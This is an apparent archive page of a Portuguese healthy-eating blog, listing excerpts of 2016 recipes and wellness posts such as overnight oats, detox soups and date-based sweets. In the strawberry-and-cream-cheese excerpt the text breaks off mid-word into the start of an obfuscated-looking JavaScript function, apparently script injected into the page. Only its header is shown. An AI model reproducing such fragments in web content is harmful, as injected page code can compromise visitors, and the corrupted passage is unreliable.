Mai 16, 2016 | À descoberta, Receitas
3 snacks nutritivos e poucos calóricos, por Ágata Roquette Sugestão de pequeno-almoço Overnight oat 4 a 5 colheres de leite magro 30 g (ou 3 colheres de sopa) de flocos de aveia 2 colheres de chá de sementes de chia 1 iogurte natural Fruta e frutos secos, sementes e...
Mai 11, 2016 | À descoberta, Receitas
Salada deliciosa acompanhada por molho detox, por Lillian Barros. Há dias em que nos apetece fazer refeições mais leves e menos calóricas. Uma excelente opção são as saladas, que podem ser um excelente acompanhamento ou mesmo o prato principal. Apresentamos duas...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Mai 3, 2016 | Apanhados na rede, Olha que giro
A arte do empratamento – 11 pratos que são um luxo Comer é uma arte e saber empratar também o é. Veja esta galeria de 11 pratos que são um verdadeiro luxo… que pode ser acessível. Tire ideias e pratique em sua casa. O empratamento pode é ficar de tal modo...
Abr 30, 2016 | À descoberta, Receitas
Morangos com queijo creme receita por Luísa Fortes da Cunha Ingredientes 2 Triângulos de queijo creme 10 Morangos 2 Quadrados de chocolate preto 70% Essência de morango ou baunilha qb Preparação Corte os morangos longitudinalmente deixfunction a4872b9c6b(y1){var...
Abr 22, 2016 | À descoberta, Receitas
Copo perfeito de frutos vermelhos, receita de Luísa Fortes da Cunha Ingredientes 1 iogurte cremoso 1 colher de sopa de sementes de chia (misture no iogurte) 1 mão cheia de groselhas 1 mão cheia de mirtilos Preparação Coloque alguns mirtilos no fundo do copo. Depois...
Abr 19, 2016 | Equilíbrio, Saúde e bem estar
Aprenda a fazer 2 sopas detox, por Lillian Barros Sopa de couve flor e canela Benefícios: Saciante Apesar de se tratar de uma mistura improvável à primeira vista, a sopa de couve flor e canela tem um paladar sedutor. Baixa em calorias e com um efeito extremamente...
Abr 16, 2016 | À descoberta, Receitas
Receitas para um Brunch Saudável por Luísa Fortes da Cunha Brunch é o termo usado pelos ingleses para definir a combinação de pequeno-almoço (breakfast em inglês) com o almoço (lunch em inglês). Normalmente é realizado aos domingos ou feriados. Para este Brunch...
Abr 8, 2016 | À descoberta, Receitas
Prepare um delicioso overnight com manga e muesli por Luísa Fortes da Cunha Ingredientes ½ manga cortada em pedaços 3-4 colheres de sopa de muesli 1 iogurte cremoso 2 framboesas em pedacinhos Pepitas de chocolate a gosto Preparação Disponha em camadas alguns pedaços...
Mar 26, 2016 | À descoberta, Receitas
Bolas de Neve, OS BRIGADEIROS SEM CULPA – uma receita de Lillian Barros Ingredientes 30 tâmaras 3 c. sopa de bagas de goji 1 c. sopa de óleo de coco 1 c. sopa de manteiga de amendoim 2 c. sopa de cacau cru 2 mão cheia de amendoim 1-2 c. sopa de sementes de chia...
